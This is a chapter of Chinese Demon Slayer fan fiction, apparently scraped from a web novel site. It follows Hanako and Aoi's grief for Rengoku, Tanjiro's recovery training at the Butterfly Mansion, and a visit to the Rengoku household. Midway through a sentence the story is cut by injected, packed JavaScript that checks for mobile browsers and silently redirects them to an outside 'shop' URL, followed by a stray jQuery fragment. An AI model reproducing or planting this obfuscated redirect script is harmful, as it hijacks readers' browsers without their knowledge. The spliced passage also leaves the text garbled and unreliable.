23.训练日常

作品:《(鬼灭)普通人如何斩杀恶鬼

    没有声音。


    花子的哭泣是无声的,只有肩膀剧烈的颤抖和急促的、破碎的吸气声。泪水汹涌而出,浸湿了小葵的肩头。她咬住嘴唇,不想发出声音,不想在这里,在这个还有伤员需要救治的地方崩溃。


    但眼泪有自己的意志。它们不受控制地流淌,冲刷着脸颊上的血污,滴落在地板上,汇成一小滩水渍。


    小葵没有说话,只是抱着她,任由她哭。


    走廊里有人经过,看见这一幕,放轻了脚步,匆匆离开。没有人打扰她们。在这血腥与死亡充斥的清晨,在这刚刚失去太阳的世界里,两个女孩相拥而泣的画面,是唯一被允许的脆弱。


    不知过了多久,花子的颤抖渐渐平息。泪水还在流,但已经没有那么汹涌了。她从小葵怀里抬起头,眼睛肿得几乎睁不开,脸上满是泪痕和污迹。


    小葵伸手,用袖子轻轻擦去她脸上的泪。动作很笨拙,很轻柔。“哭出来就好了。”她低声说,声音也带着哽咽,“但不能太久。我们还有工作要做。”


    花子点点头。她深吸一口气,再缓缓吐出。胸腔里那股堵着的感觉还在,但至少,她能呼吸了。


    她看向那副担架。隐部队的队员已经走到了走廊尽头,向后门走去。他们要护送炼狱大人的遗体回总部,进行正式的告别和安葬。


    白布完全盖住了那个高大的身形。火焰纹的羽织被仔细地整理好,覆盖在上面。那曾经耀眼的金红,如今在晨光中显得如此黯淡。


    “去吧。”小葵松开她,站起身,也拉她起来,“善逸和伊之助需要你。炭治郎还需要观察。我们……”她顿了顿,声音坚定起来,“我们还在。”


    花子用力点头。她用手背擦干眼泪,整理了一下凌乱的头发和护理服。然后,她转过身,走向隔壁的病房。


    脚步依然沉重,但已经稳了。


    炭治郎在经历了最初几日的危险期后,伤势开始稳步恢复。


    直到有一天,炭治郎突然消失了。


    那天清晨,小葵去换药时却发现炭治郎的床铺空空如也,被褥叠得整齐,人却不见踪影。询问善逸和伊之助,两人也是一脸茫然。


    花子和小葵的心渐渐提了起来。炭治郎不是不告而别的人,尤其是在伤未痊愈的时候。


    “这个炭治郎!到底跑哪里去了!” 小葵又急又气,在蝶屋前庭来回踱步,“他的腹部伤口虽然愈合了,但内部组织的韧性还没完全恢复,根本不能进行太剧烈或者长途的活动!要是裂开了或者引起粘连,麻烦就大了!”


    花子抿着唇,检查了药房和炭治郎常去的几个角落,都没有发现留言或线索。她心中的担忧同样在堆积。炭治郎的状态虽然稳定,但精神上的负担显然极重,她真怕他一时钻了牛角尖,做出什么不理智的事。


    两人连同还能动弹的隐部队队员,在蝶屋周边扩大了搜索范围。


    直到傍晚时分,炭治郎才风尘仆仆地回到蝶屋,脸上带着一种复杂的神情,悲伤中又透着一丝释然,身上还沾着尘土和草屑。而令人哭笑不得的是,他身后不远处,一个戴着火男面具的刀匠正举着新打好的日轮刀,一边怒吼着“居然敢把我的刀弄丢!不可原谅!”,一边杀气腾腾地追着他砍。


    “炭治郎!你这家伙!”小葵率先爆发了,冲上去,完全无视了后面追砍的刀匠,对着炭治郎就是一顿劈头盖脸的训斥,“你知不知道你的伤还没好全!一声不吭跑出去一整天!剧烈活动伤口裂开了怎么办?感染了怎么办?我们找了你一整天!你知道大家有多担心吗?!”


    花子看着这一幕,心中的大石终于落地。她走上前,先是对那位还在气呼呼的刀匠恭敬行礼:“钢铁冢先生,一路辛苦了。请先进屋休息,喝杯茶吧。”


    然后她转向炭治郎,脸上的笑容消失了,取而代之的是罕见的严肃:“炭治郎,这太危险了。你的身体状况,需要静养和规律训练,不适合长途跋涉或进行未知风险的活动。至少,应该告诉我们一声。”接着又迅速而专业地上下打量他,目光重点落在他腰腹间:“有没有哪里不舒服?伤口有没有异常感觉?”


    炭治郎被两人训得低下头,连声道歉:“对不起,小葵,花子小姐……我去了炼狱先生的家。我想……去看看他的家人,告诉他们炼狱先生最后的话…...”


    小葵和花子同时愣住了。


    炭治郎的声音更低了,带着一种沉重的诚恳:“我觉得……我必须去一趟。有些话,想对他的家人说。也有些事情……需要当面确认。” 他没有详说具体发生了什么,但眉宇间那丝挥之不去的郁结,似乎被什么东西稍稍拨动、梳理过,虽然依然沉重,却不再是无序的混乱。


    花子和小葵对视一眼,看到了彼此眼中的复杂情绪。责备的话堵在喉咙里,最终化为一声叹息。她们能理解炭治郎的心情,那是一种近乎责任感的驱使,也是他处理内心巨大创伤的方式。但作为医者和照顾者,她们更担心他的身体。


    “先回去,” 花子的语气缓和下来,但依旧严肃,“让我检查一下伤口。下次无论如何,一定要提前告诉我们,知道吗?”


    炭治郎用力点头。


    当炭治郎完全康复之后,三人便又开始了训练。


    “一百九十七、一百九十八、一百九十九……两百!”


    炭治郎的额头抵在蝶屋后院的土地上,手臂肌肉紧绷如铁,汗水沿着脊椎沟壑滑落,在身下汇成一小滩水渍。他刚刚完成二百个俯卧撑,呼吸粗重却依然保持着水之呼吸特有的韵律。


    我妻善逸一边做一边发出濒死般的哀嚎,“啊啊啊要死了要死了!我的腰要断了!小葵小姐求求你了让我休息一下吧!”


    “闭嘴!区区这种程度!俺还能再做三千个!”嘴平伊之助则把这当成某种比拼,哼哼着做得飞快,还不时挑衅另外两人。


    而他们的背上,小清、小澄和小穗菜三个女孩正端坐着。她们没有穿护理服,而是换上了便于活动的训练装,此刻正一本正经地跪坐在他们起伏的背脊上,随着他们的动作轻微晃动。


    “善逸先生!请不要偷懒!”小澄的声音则带着责备,看向身下姿势明显开始变形、嘴里哼哼唧唧的我妻善逸。


    “很好!炭治郎君!”小葵拍了拍手,声音清脆,“接下来保持这个姿势一分钟!”


    炭治郎闷哼一声,手臂开始微微颤抖,但他咬紧牙关,稳住了身形。背上的重量虽然不算特别沉,但长时间维持却极为考验核心力量和耐力。


    花子听见“啪”的一声轻响,似乎是小葵用记录板敲打什么的声音。


    “善逸君,才一百五百个就想休息?伊之助君,动作不规范,重做!”小葵的声音干脆利落,带着不容置疑的严厉。


    花子端着刚煎好的汤药经过走廊,听见外面的动静,嘴角不禁微微上扬。


    “休息时间到。”她走过去


    小清三人立刻从炭治郎背上跳下来。炭治郎缓缓直起身,接过花子递来的毛巾,用力擦去脸上的汗水。他的脸色比几个月前红润了许多,腹部的伤口虽然留下了一道狰狞的疤痕,但已经不影响日常活动。


    “谢谢您,花子小姐。”炭治郎恭敬地道谢,端起药碗一饮而尽。药很苦,他皱了皱眉,但没有抱怨。


    “伤口还疼吗?”花子问,目光落在他腹部的位置。即使隔着训练服,她也能想象出那道伤疤的样子——那是她亲手缝合的伤口。


    炭治郎摇摇头:“已经完全不疼了。多亏了您的治疗。”


    “下午是户外耐力训练,”小清在一旁提醒,“要绕着蝶屋跑五十圈哦。”


    炭治郎认真点头:“我明白了。”


    午后,秋日的阳光难得温暖。三个少年排成一列,开始绕着蝶屋及后山的大强度耐力跑。路线被小葵精心设计过,包含陡坡、碎石路和需要跨越的溪流。三个少年如同不知疲倦的幼兽,沉默地奔跑在秋日山林间,脚步声沉重而统一,只有粗重的喘息声在林间回荡。汗水浸湿了单薄的训练服,紧紧贴在皮肤上,勾勒出逐渐强健起来的轮廓。善逸依然在抱怨,伊之助冲在最前面,炭治郎保持在中段,呼吸平稳,步伐稳健。


    当三个少年终于完成五十圈,气喘吁吁地停在庭院中央时,花子走上前去,她的脸上带着惯常的、温柔的浅笑,手里托着木盘,上面整齐叠放着几条柔软吸汗的干净毛巾,和几杯温度恰到好处、加了微量盐分和蜂蜜的温水。她没有多说什么,只是在他们停下来大口喘息时,将毛巾和水杯一一递过去。


    “给,擦擦汗。”


    “慢慢喝,别急。”


    “谢……谢谢……”善逸几乎瘫倒在地,接过毛巾胡乱擦着脸,“我觉得……我真的要死了……”


    “没出息的家伙!”伊之助虽然也喘着粗气,但腰背挺得笔直,“才五十圈而已!”


    炭治郎认真地用毛巾擦拭汗水,然后深深向花子鞠了一躬:“给您添麻烦了。”


    这样的日常持续了四个月。训练、治疗、休息,周而复始。善逸和伊之助因为伤势较轻,恢复更快,中间被派出去完成过几次较低难度的任务,虽然每次都弄得鸡飞狗跳、伤痕累累地回来,但也算积累了实战经验。


    这天,三人在进行躲避训练。


    炭治郎因为过于专注躲避而忽略了脚下,被一块松动的石板绊倒,眼看要狼狈摔倒在地。


    一直留意着场上情况的花子,几乎在炭治郎重心失衡的瞬间就冲了过去,在他膝盖即将磕上地面的前一秒,伸手稳稳地扶住了他的胳膊,另一只手则迅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885733|191150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    速挡在了他可能撞到的石灯边缘。


    “小心!” 花子低呼,借助巧劲帮炭治郎稳住了身体,“没事吧?膝盖有没有拉到伤处?”


    炭治郎惊魂未定,连忙站好,感激地道谢:“没、没事!谢谢您,花子小姐!”


    花子快速检查了一下他的膝盖和脚踝,确认无碍,才松了口气:“注意脚下,呼吸不要乱。继续吧。”


    训练接近尾声,少年们个个筋疲力尽,瘫倒在地。小葵正指挥着护理队员给他们递水、擦汗,做放松拉伸。


    花子目光转向正在被小清三人强行拉起来做拉伸、哀嚎不已的善逸,最后,她的视线再次掠过正在帮伊之助检查手臂上一处轻微擦伤的小葵。


    小葵正用沾了消毒药水的棉签小心地擦拭着伊之助手臂上渗血的小伤口,伊之助则不耐烦地扭动着:“这点小伤算什么!本大爷才不需要……嗷!你轻点!”


    “别动,很快就好。” 小葵耐心地按住他,动作干脆利落地上药、贴上创可贴。


    又过了些时日,一个秋高气爽的午后,小葵和花子带着一些蝶屋特制的、对恢复体力和安神有奇效的药膳点心,以及几包上好的茶叶,决定去拜访炼狱杏寿郎的家人。她们心中一直惦念着,尤其是在听炭治郎说他去过后。


    炼狱家的宅邸比想象中要简朴,却自有一股开阔朗然的气度。接待她们的是炼狱千寿郎,那是个有着和兄长相似发色、面容却稚嫩清秀许多的少年,眼神清澈,举止礼貌周全,但眼底深处那份与年龄不符的沉静哀伤,让花子和小葵心中一痛。


    千寿郎很认真地感谢了她们的到访和礼物,轻声说:“兄长生前,承蒙鬼杀队各位,尤其是蝶屋的照顾了。”


    小葵连忙说:“不,是我们一直承蒙炼狱大人的关照才是……”


    交谈间,千寿郎提到:“之前,有一位名叫灶门炭治郎的队士也来过。” 他顿了顿,似乎在回忆,“他和兄长一起乘坐了那辆列车……他在这里坐了很久,和我说了兄长最后的事情。他说……兄长战斗到了最后一刻,保护了所有人,是挺起胸膛离开的。”


    说到“挺起胸膛”这几个字时,千寿郎的声音终于有了一丝细微的颤抖,他用力眨了眨眼,忍住了即将涌上的泪水,努力想维持平静,却更让人心疼。


    花子和小葵听着,眼前仿佛又看到了那覆着白布、浸透鲜血的担架,看到了垂落的那角火焰纹羽织。炭治郎将这些话带给千寿郎,对他而言何尝不是一种艰难的告解与承诺?而对她们而言,再次听到杏寿郎临终的细节,无异于将尚未结痂的伤疤又一次揭开。


    小葵的嘴唇哆嗦起来,她猛地低下头,手指紧紧攥住了自己的衣袖。花子觉得鼻腔酸涩得厉害,视线迅速模糊,她连忙侧过脸,假装被庭院里的阳光晃到了眼睛,抬手飞快地拭去眼角溢出的温热液体。


    就在这时,里屋传来粗暴的吼声:“千寿郎!谁来了!”


    一个高大的男人摇摇晃晃地走出来,手里还拿着酒壶。他的面容与炼狱杏寿郎极为相似,但憔悴不堪,眼神浑浊,满脸胡茬。那是炼狱槙寿郎,杏寿郎的父亲,曾经的前任炎柱。


    “又是鬼杀队的人?”槙寿郎的目光扫过花子和小葵,嗤笑一声,“那个蠢儿子死了还不够,还要派别人来送死吗?”


    “父亲!”千寿郎急切地想要阻止。


    但槙寿郎已经转身,踉跄着走回里屋,砰地关上了门。


    房间里一片寂静。千寿郎低下头,手指绞在一起,声音低得几乎听不见:“对不起……父亲他……自从母亲去世后,就一直这样。哥哥的死……让他更加……”


    “不必道歉。”花子轻声打断他,将带来的东西放在桌上,“这些是蝶屋特制的药膏和补品,希望对你们有帮助。炼狱大人曾经……非常照顾我们。如果有什么需要,请随时来蝶屋。”


    千寿郎抬起头,绷带下似乎有泪水渗出。“谢谢你们。”他说,“还有……请告诉炭治郎君,哥哥的意志,就拜托他继承了。”


    走出炼狱家,冬日的寒风扑面而来。小葵一直沉默着,直到走出一段距离,才突然停下脚步,蹲下身,将脸埋在膝盖里。


    她的肩膀开始颤抖,压抑的哭声从指缝间漏出。


    花子站在她身边,没有安慰,只是用手帕轻轻的压住自己的眼睛


    不知过了多久,小葵站起身,用力擦干眼泪,声音沙哑却坚定:“我们回去吧。蝶屋里还有等着我们的人。”


    花子点点头。两人并肩走在回蝶屋的路上,脚步沉重,却一步也没有停下。


    日子继续流淌。训练、治疗、偶尔的外出任务。炭治郎、善逸和伊之助以肉眼可见的速度成长着。他们的肌肉更加结实,剑技更加精湛,呼吸法的运用也更加纯熟。